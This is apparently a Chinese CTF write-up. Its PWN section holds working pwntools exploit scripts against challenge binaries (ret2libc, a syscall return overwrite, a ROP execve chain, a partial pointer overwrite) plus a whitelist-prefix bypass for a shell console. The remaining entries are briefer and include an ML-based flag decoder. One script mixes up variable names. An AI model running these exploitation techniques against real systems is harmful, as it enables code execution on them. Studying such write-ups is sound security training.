PWN

ncc

复制容器链接然后nc <host> <port>即 get shell


eznote

审计附件注意到 view 函数中没有负数检测可以拿来泄露 libc 基址

且 add 函数存在溢出

并且 checksec 后发现没有 canary

那么直接 ret2libc 即可 get shell
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python3
from pwn import *
filename = "demo_patched"
libcname = "/home/thehungedman/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 52842
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
               target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)
p = start()
def add(idx,size,content):
    p.recvuntil(b'your choice:')
    p.sendline(b'1')
    p.recvuntil(b'input your note index (0-9):')
    p.sendline(f'{idx}'.encode())
    p.recvuntil(b'input your note size:')
    p.sendline(f'{size}'.encode())
    p.recvuntil(b'input your note content:')
    p.sendline(f'{content}'.encode())
def view(idx):
    p.recvuntil(b'your choice:')
    p.sendline(b'4')
    p.recvuntil(b'input your note index (0-9):')
    p.sendline(f'{idx}'.encode())
def delete(idx):
    p.recvuntil(b'your choice:')
    p.sendline(b'2')
    p.recvuntil(b'input your note index (0-9):')
    p.sendline(f'{idx}'.encode())
view(-8)
p.recvuntil(b'note content: ')
leak_addr = int(p.recvuntil(b'\n',drop=True),16)
log.success(f'leak_addr={hex(leak_addr)}')
libc_base=leak_addr-0x2044e0
log.success(f'libc_addr={hex(libc_base)}')
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_addr=libc_base+0x10f78b
payload = b"a" * 0x118
payload += p64(pop_rdi_addr+1)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil(b'your choice:')
p.sendline(b'1')
p.recvuntil(b'input your note index (0-9):')
p.sendline(b'0')
p.recvuntil(b'input your note size:')
p.sendline(b'1000')
p.recvuntil(b'input your note content:')
p.sendline(payload)
p.interactive()

magic

首先审计附件,可以看到存在 0xf 的一个溢出

checksec 一下

没有 canary,说明可以栈溢出
但是溢出空间太小不能构造 rop 链,只能想办法仅通过控制返回地址来 get sell
查看机器码,发现存在 0f 05 即 syscall 的机器码,那我们直接把返回地址指向这里并将 rax 设置为 59,rdi 设置为/bin/sh\0 即可

在 magic 函数我们可以进行 rdi 的控制,即使/bin/sh\0 在[rsp+0x8]的地方即可

而 rax 可以在这里控制

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
from pwn import *
filename = "demo_patched"
libcname = "/home/thehungedman/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 52842
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
               target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)
p = start()
p.recvuntil(b'Do you like stack overflow?')
payload = b'/bin/sh\x00'+b'A'*0x500 + b'\x81\x12\x40\x00\x00\x00\x00'
p.send(payload)
p.recvuntil(b'?')
p.sendline(b'59')
p.interactive()

ez_shell

代码审计难度很大,脑洞也很大的一题
反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char *v4; // rax
char v5; // dl
__int64 i; // rax
char *v7; // rax
__int64 v8; // r14
size_t v9; // r14
char v10; // dl
__int64 v11; // rax
char v12; // dl
__int64 j; // rax
char v14; // dl
__int64 k; // rax
char v16; // dl
__int64 m; // rax
const char *v18; // rsi
const char **v19; // rbx
__int64 n; // rax
int v21; // r14d
FILE *v22; // r14
int v23; // r14d
__pid_t v24; // eax
int v25; // eax
int v26; // r9d
char *v27; // rdi
unsigned int v28; // eax
int v29; // eax
__int64 v30; // rcx
int *v31; // rdi
size_t v32; // rax
__int64 ii; // rax
__int64 v34; // r14
int v35; // [rsp+8h] [rbp-850h]
char *v36; // [rsp+30h] [rbp-828h]
_QWORD v37[7]; // [rsp+58h] [rbp-800h] BYREF
int v38; // [rsp+90h] [rbp-7C8h] BYREF
char v39[8]; // [rsp+98h] [rbp-7C0h] BYREF
char s2[16]; // [rsp+A0h] [rbp-7B8h] BYREF
char v41[32]; // [rsp+B0h] [rbp-7A8h] BYREF
char v42[32]; // [rsp+D0h] [rbp-788h] BYREF
char v43[32]; // [rsp+F0h] [rbp-768h] BYREF
char s[256]; // [rsp+110h] [rbp-748h] BYREF
_OWORD v45[16]; // [rsp+210h] [rbp-648h] BYREF
char v46[16]; // [rsp+310h] [rbp-548h] BYREF
char v47; // [rsp+320h] [rbp-538h] BYREF
_OWORD v48[64]; // [rsp+410h] [rbp-448h] BYREF
unsigned __int64 v49; // [rsp+818h] [rbp-40h]

v49 = __readfsqword(0x28u);
setvbuf(stdout, 0, 1, 0);
v3 = s2;
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
signal(13, (__sighandler_t)((char *)&dword_0 + 1));
ptrace(PTRACE_TRACEME, 0, 0, 0);
time(0);
puts("========================================\n This is a ez console!\n========================================");
puts(
"I believe you can get the flag easily.\n"
"By the way, What you see is not what you get.\n"
"When all else fails, type help.\n"
"========================================");
while ( 1 )
{
while ( 1 )
{
memset(s, 0, sizeof(s));
putchar(36);
if ( fgets(s, 256, stdin) )
break;
__printf_chk(1, "error");
}
memset(v48, 0, sizeof(v48));
v4 = strchr(s, 10);
if ( v4 )
*v4 = 0;
if ( *(_DWORD *)s == 1886152040 && !s[4] )
{
v48[2] = _mm_load_si128((const __m128i *)&xmmword_21A0);
qmemcpy(v48, "Supported commands: pwd, whoami,", 32);
LOWORD(v48[4]) = 10;
v48[3] = _mm_load_si128((const __m128i *)&xmmword_21B0);
goto LABEL_12;
}
v5 = 41;
for ( i = 0; ; v5 = X_showKey[i] )
{
v3[i++] = v5 ^ 0x5A;
if ( i == 7 )
break;
}
s2[7] = 0;
if ( !strcmp(s, v3) )
{
v23 = time(0);
v24 = getpid();
srand(v23 ^ v24);
rand();
v25 = rand();
v26 = v25;
if ( (v25 & 1) == 0 )
{
v35 = v25;
rand();
v26 = v35;
}
__snprintf_chk(v46, 256, 1, 256, "Key: %u\n", v26);
__strcpy_chk(v48, v46, 1024);
}
else
{
if ( strchr(s, 38)
|| strstr(s, "||")
|| strchr(s, 59)
|| strchr(s, 62)
|| strchr(s, 60)
|| strchr(s, 124)
|| strchr(s, 36)
|| strchr(s, 96) )
{
LOBYTE(v48[1]) = 0;
v48[0] = _mm_load_si128((const __m128i *)&xmmword_21C0);
goto LABEL_12;
}
memset(v45, 0, sizeof(v45));
v7 = strchr(s, 32);
if ( v7 )
{
v8 = v7 - s;
if ( (unsigned __int64)(v7 - s) > 0xFF )
v8 = 255;
__strncpy_chk(v45, s, v8, 256);
*((_BYTE *)v45 + v8) = 0;
}
else
{
strncpy((char *)v45, s, 0xFFu);
}
v9 = strlen((const char *)v45);
if ( v9 )
{
v10 = 45;
v11 = 0;
v38 = 6584176;
while ( 1 )
{
v41[v11++] = v10 ^ 0x5A;
if ( v11 == 6 )
break;
v10 = X_whoami[v11];
}
v12 = 47;
v41[6] = 0;
strcpy(v39, "ls");
for ( j = 0; ; v12 = X_uname[j] )
{
v42[j++] = v12 ^ 0x5A;
if ( j == 5 )
break;
}
v42[5] = 0;
v14 = 41;
for ( k = 0; ; v14 = X_showKey[k] )
{
v43[k++] = v14 ^ 0x5A;
if ( k == 7 )
break;
}
v43[7] = 0;
v16 = 53;
for ( m = 0; ; v16 = X_opendoor[m] )
{
v46[m++] = v16 ^ 0x5A;
if ( m == 11 )
break;
}
v36 = v3;
v18 = (const char *)&v38;
v37[0] = v41;
v19 = (const char **)v37;
v46[11] = 0;
v37[1] = v39;
v37[4] = v46;
v37[2] = v42;
v37[5] = 0;
v37[3] = v43;
while ( strncmp((const char *)v45, v18, v9) )
{
v18 = *v19++;
if ( !v18 )
{
v3 = v36;
LOBYTE(v48[1]) = 0;
v48[0] = _mm_load_si128((const __m128i *)&xmmword_21F0);
goto LABEL_12;
}
}
v3 = v36;
for ( n = 0; n != 11; ++n )
v41[n] = X_opendoor[n] ^ 0x5A;
v41[11] = 0;
v21 = strncmp(v41, (const char *)v45, v9);
if ( v21 )
{
v22 = popen(s, "re");
if ( !v22 )
{
perror("popen failed");
exit(1);
}
while ( fgets(v46, 256, v22) )
__strcat_chk(v48, v46, 1024);
pclose(v22);
}
else
{
v27 = strstr(s, "-k");
if ( v27 && strlen(v27) > 2 )
{
v28 = time(0);
srand(v28);
v29 = rand();
__snprintf_chk(v42, 32, 1, 32, "%d", v29);
v30 = 60;
v31 = (int *)&v47;
*(_OWORD *)v46 = 0;
while ( v30 )
{
*v31++ = v21;
--v30;
}
v32 = strlen(s);
if ( v32 > 0xF )
{
v34 = (int)v32 - 15;
__strncpy_chk(v46, &s[15], v34, 256);
v46[v34] = 0;
}
if ( !strcmp(v42, v46) )
{
for ( ii = 0; ii != 10; ++ii )
v43[ii] = X_catflagN[ii] ^ 0x21;
v43[10] = 0;
*(_QWORD *)s = 0;
snprintf(s, 8u, "%s", v43);
}
else
{
LODWORD(v48[1]) = 663916;
v48[0] = _mm_load_si128((const __m128i *)&xmmword_21E0);
}
}
else
{
strcpy((char *)v48, "please use openthedoor -k <key>. \n");
}
}
}
else
{
*(_QWORD *)&v48[1] = 0xA202E646E616DLL;
v48[0] = _mm_load_si128((const __m128i *)&xmmword_21D0);
}
}
LABEL_12:
__printf_chk(1, "%s", (const char *)v48);
}
}

重点在于:前缀匹配,代码用 strncmp(v45, candidate, v9),其中 v9 = strlen(v45)(用户 token 长度),只要用户 token 是候选命令的前缀且长度 ≤ 候选长度,就会视为匹配,授权边界被扩大;任意短 token(如 "l") 可使 ls(或其他)白名单检查通过,那么因为 showKey 的存在 sh 也可以通过匹配而被执行,那么我们可以通过执行 sh /flag 来通过报错信息获得 flag


逆向工程领域大神

这个用 ida 反汇编及其逆天,符号表全扒+3000 多个函数,逆向不了一点

但是可以直接通过动调做出
首先通过输入大量字符来确定缓冲区大小,然后即可通过 ROPgadget --binary ./game --ropchain 一把梭(需做微调)
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
from pwn import *
filename = "demo_patched"
libcname = "/home/thehungedman/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 52842
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
               target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)
p = start()
io.recvuntil(b'Input your name:')
pop_rdi_ret = 0x40c6bc
p = b'A'*0x28
p += p64( 0x000000000040faaf) # pop rsi ; ret
p += p64( 0x00000000005e4120) # @ .data
p += p64( 0x0000000000426a1a) # pop rax ; ret
p += b'/bin//sh'
p += p64( 0x000000000041f555) # mov qword ptr [rsi], rax ; ret
p += p64( 0x000000000040faaf) # pop rsi ; ret
p += p64( 0x00000000005e4128) # @ .data + 8
p += p64( 0x0000000000514129) # xor rax, rax ; ret
p += p64( 0x000000000041f555) # mov qword ptr [rsi], rax ; ret
p += p64( 0x000000000040c6bc) # pop rdi ; ret
p += p64( 0x00000000005e4120) # @ .data
p += p64( 0x000000000040faaf) # pop rsi ; ret
p += p64( 0x00000000005e4128) # @ .data + 8
p += p64( 0x000000000053885b) # pop rdx ; pop rbx ; ret
p += p64( 0x00000000005e4128) # @ .data + 8
p += p64( 0x0000000000000000) # padding
p += p64( 0x0000000000514129) # xor rax, rax ; ret
p += p64( 0x0000000000426a1a) # pop rax ; ret
p += p64(59) # pop rax ; ret
p += p64( 0x00000000004ac819) # syscall
io.sendline(p)
p.interactive()


ez_ret2text

最简单的一集
反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v4; // rax
unsigned __int64 v5; // rax
unsigned __int64 v6; // rax
const char *v7; // rcx
unsigned __int64 v8; // rax
void *v9; // rax
int v10; // r9d
void (__fastcall **ptr)(_QWORD); // [rsp+0h] [rbp-48h]
_BYTE *ptra; // [rsp+0h] [rbp-48h]
const void **ptrb; // [rsp+0h] [rbp-48h]
int ptrc; // [rsp+0h] [rbp-48h]
void *ptrd; // [rsp+0h] [rbp-48h]
__int64 v16; // [rsp+8h] [rbp-40h]
__int64 ulong; // [rsp+8h] [rbp-40h]
__int64 v18; // [rsp+8h] [rbp-40h]

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(0x78u);
while ( 1 )
{
puts("\n=== Tiny Arena ===");
puts("1) create");
puts("2) show");
puts("3) poke (single-byte write)");
puts("4) release");
puts("5) exit");
switch ( read_long("> ") )
{
case 1LL:
v8 = read_long("slot idx (0-3): ");
if ( v8 > 3 )
goto LABEL_20;
if ( slots[(int)v8] )
{
puts("[-] occupied");
}
else
{
v18 = (int)v8;
ptrc = v8;
v9 = calloc(1u, 0x28u);
v10 = ptrc;
if ( !v9 )
exit(1);
ptrd = v9;
*((_QWORD *)v9 + 3) = peaceful_release;
*((_DWORD *)v9 + 8) = 100;
__snprintf_chk(v9, 24, 1, 24, "hero_%d", v10);
slots[v18] = ptrd;
__printf_chk(1, "[+] created @ %p\n", ptrd);
}
continue;
case 2LL:
v6 = read_long("slot idx (0-3): ");
if ( v6 > 3 )
goto LABEL_20;
v7 = (const char *)slots[(int)v6];
if ( !v7 )
goto LABEL_17;
ptrb = (const void **)slots[(int)v6];
__printf_chk(1, "name: %.*s\n", 24, v7);
__printf_chk(1, "hp: %d\n", *((_DWORD *)ptrb + 8));
__printf_chk(1, "on_release: %p\n", ptrb[3]);
break;
case 3LL:
v5 = read_long("slot idx (0-3): ");
if ( v5 > 3 )
goto LABEL_20;
ptra = (_BYTE *)slots[(int)v5];
if ( !ptra )
goto LABEL_17;
ulong = read_ulong("index: ");
ptra[ulong] = read_ulong("byte value (0-255 or 0x..): ");
puts("[+] wrote one byte.");
break;
case 4LL:
v4 = read_long("slot idx (0-3): ");
if ( v4 > 3 )
{
LABEL_20:
puts("[-] bad idx");
}
else
{
v16 = (int)v4;
ptr = (void (__fastcall **)(_QWORD))slots[(int)v4];
if ( ptr )
{
__printf_chk(1, "[*] Releasing slot %d ...\n", v4);
ptr[3](ptr);
free(ptr);
slots[v16] = 0;
puts("[*] Freed.");
}
else
{
LABEL_17:
puts("[-] empty");
}
}
break;
case 5LL:
puts("bye");
return 0;
default:
puts("???");
continue;
}
}
}

关键点在于 release 后会从产生的堆上获得地址来执行,同时我具有编辑堆内容的能力且存在 backdoor,虽然有 pie,但只要把地址末四位改为 backdoor 地址并爆破即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwn import *
filename = "demo_patched"
libcname = "/home/thehungedman/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 52842
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
               target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)
p = start()
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'slot idx (0-3):')
p.sendline(b'0')

p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'slot idx (0-3):')
p.sendline(b'0')
p.recvuntil(b'index:')
p.sendline(b'0x19')
p.recvuntil(b'byte value (0-255 or 0x..):')
p.sendline(b'0x96')

p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'slot idx (0-3):')
p.sendline(b'0')
p.recvuntil(b'index:')
p.sendline(b'0x18')
p.recvuntil(b'byte value (0-255 or 0x..):')
p.sendline(b'0xf4')

p.recvuntil(b'>')
p.sendline(b'4')
p.recvuntil(b'slot idx (0-3):')
p.sendline(b'0')

p.sendline(b'cat flag')
p.interactive()


WEB

U5er0Agent

根据题目信息,加上?source=1 后获得源码
然后拷打 ai
https://chatgpt.com/s/t_68ff24dd04188191931af9922620aa41


MISC

AI Problem 1

拷打 ai
https://chatgpt.com/share/68fb9442-e0f4-8000-8a84-83c95592bf0d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
import os, re, sys, binascii
import torch
import torch.nn as nn
import torch.optim as optim
from torchvision import transforms, datasets
from torch.utils.data import DataLoader
from PIL import Image
from glob import glob

DEVICE = "cuda" if torch.cuda.is_available() else "cpu"
MNIST_DIR = "modified_mnist"
IMG_DIR = "imgs"
OUT_MODEL = "trained_model.pth"
EPOCHS = 3
BATCH = 128
LR = 1e-3
KEY = b"CIALLO0d000721998244353ISAPRIME"
class SmallCNN(nn.Module):
    def __init__(self):
        super().__init__()
        self.conv1 = nn.Conv2d(1,32,3,1,1)
        self.conv2 = nn.Conv2d(32,64,3,1,1)
        self.pool = nn.MaxPool2d(2)
        self.relu = nn.ReLU()
        self.fc1 = nn.Linear(64*7*7,128)
        self.fc2 = nn.Linear(128,10)
    def forward(self,x):
        x = self.relu(self.conv1(x))
        x = self.pool(x)
        x = self.relu(self.conv2(x))
        x = self.pool(x)
        x = x.view(x.size(0), -1)
        x = self.relu(self.fc1(x))
     return self.fc2(x)
def train_mnist(model, root, epochs=EPOCHS):
    transform = transforms.Compose([
        transforms.ToTensor(),
        transforms.Normalize((0.5,), (0.5,))
    ])
    train_ds = datasets.MNIST(root=root, train=True, download=False, transform=transform)
    loader = DataLoader(train_ds, batch_size=BATCH, shuffle=True)
    opt = optim.Adam(model.parameters(), lr=LR)
    lossfn = nn.CrossEntropyLoss()
    model.to(DEVICE)
    for ep in range(epochs):
        model.train(); tot=0; acc=0
        for xb,yb in loader:
            xb,yb=xb.to(DEVICE),yb.to(DEVICE)
            out=model(xb); loss=lossfn(out,yb)
            opt.zero_grad(); loss.backward(); opt.step()
            tot+=yb.size(0); acc+=(out.argmax(1)==yb).sum().item()
        print(f"[epoch {ep+1}] acc={acc/tot:.4f}")
    torch.save(model.state_dict(), OUT_MODEL)
    return model
def infer(model):
    transform = transforms.Compose([
        transforms.Grayscale(1),
        transforms.Resize((28,28)),
        transforms.ToTensor(),
        transforms.Normalize((0.5,), (0.5,))
    ])
    paths = sorted(glob(os.path.join(IMG_DIR, "*.png")), key=lambda p:int(re.search(r'img_index_(\d+)\.png',p).group(1)))
    out=[]
    with torch.no_grad():
        model.eval()
        for p in paths:
            im = Image.open(p).convert("L")
            x = transform(im).unsqueeze(0).to(DEVICE)
            pred = model(x).argmax(1).item()
            out.append(str(pred))
    return "".join(out)
def dec_to_bytes(s):
    n=int(s,10)
    h=hex(n)[2:]
    if len(h)%2: h="0"+h
    return binascii.unhexlify(h)
def xor_dec(ct,key):
    return bytes([b ^ key[i%len(key)] for i,b in enumerate(ct)])
def main():
    if not os.path.isdir(MNIST_DIR):
        print("错误:未找到 modified_mnist/MNIST 目录")
        sys.exit(1)
    model=SmallCNN()
    if os.path.exists(OUT_MODEL):
        model.load_state_dict(torch.load(OUT_MODEL, map_location=DEVICE))
        print("[*] 已加载现有模型")
    else:
        model=train_mnist(model,MNIST_DIR)
    decs=infer(model)
    print("[*] decimal string preview:",decs[:200])
    ct=dec_to_bytes(decs)
    pt=xor_dec(ct,KEY)
    try:
        s=pt.decode()
    except:
        s=pt.decode("latin1")
    print("\n===== FLAG =====\n", s)
if __name__=="__main__":
    main()


梅林午餐肉

拷打 ai


猫咪日记 01

base100 加密

REVERSE

ez_base

换表 base64


签到

拷打 ai
https://chatgpt.com/share/68fba231-4a00-8000-a88c-c343376e9d75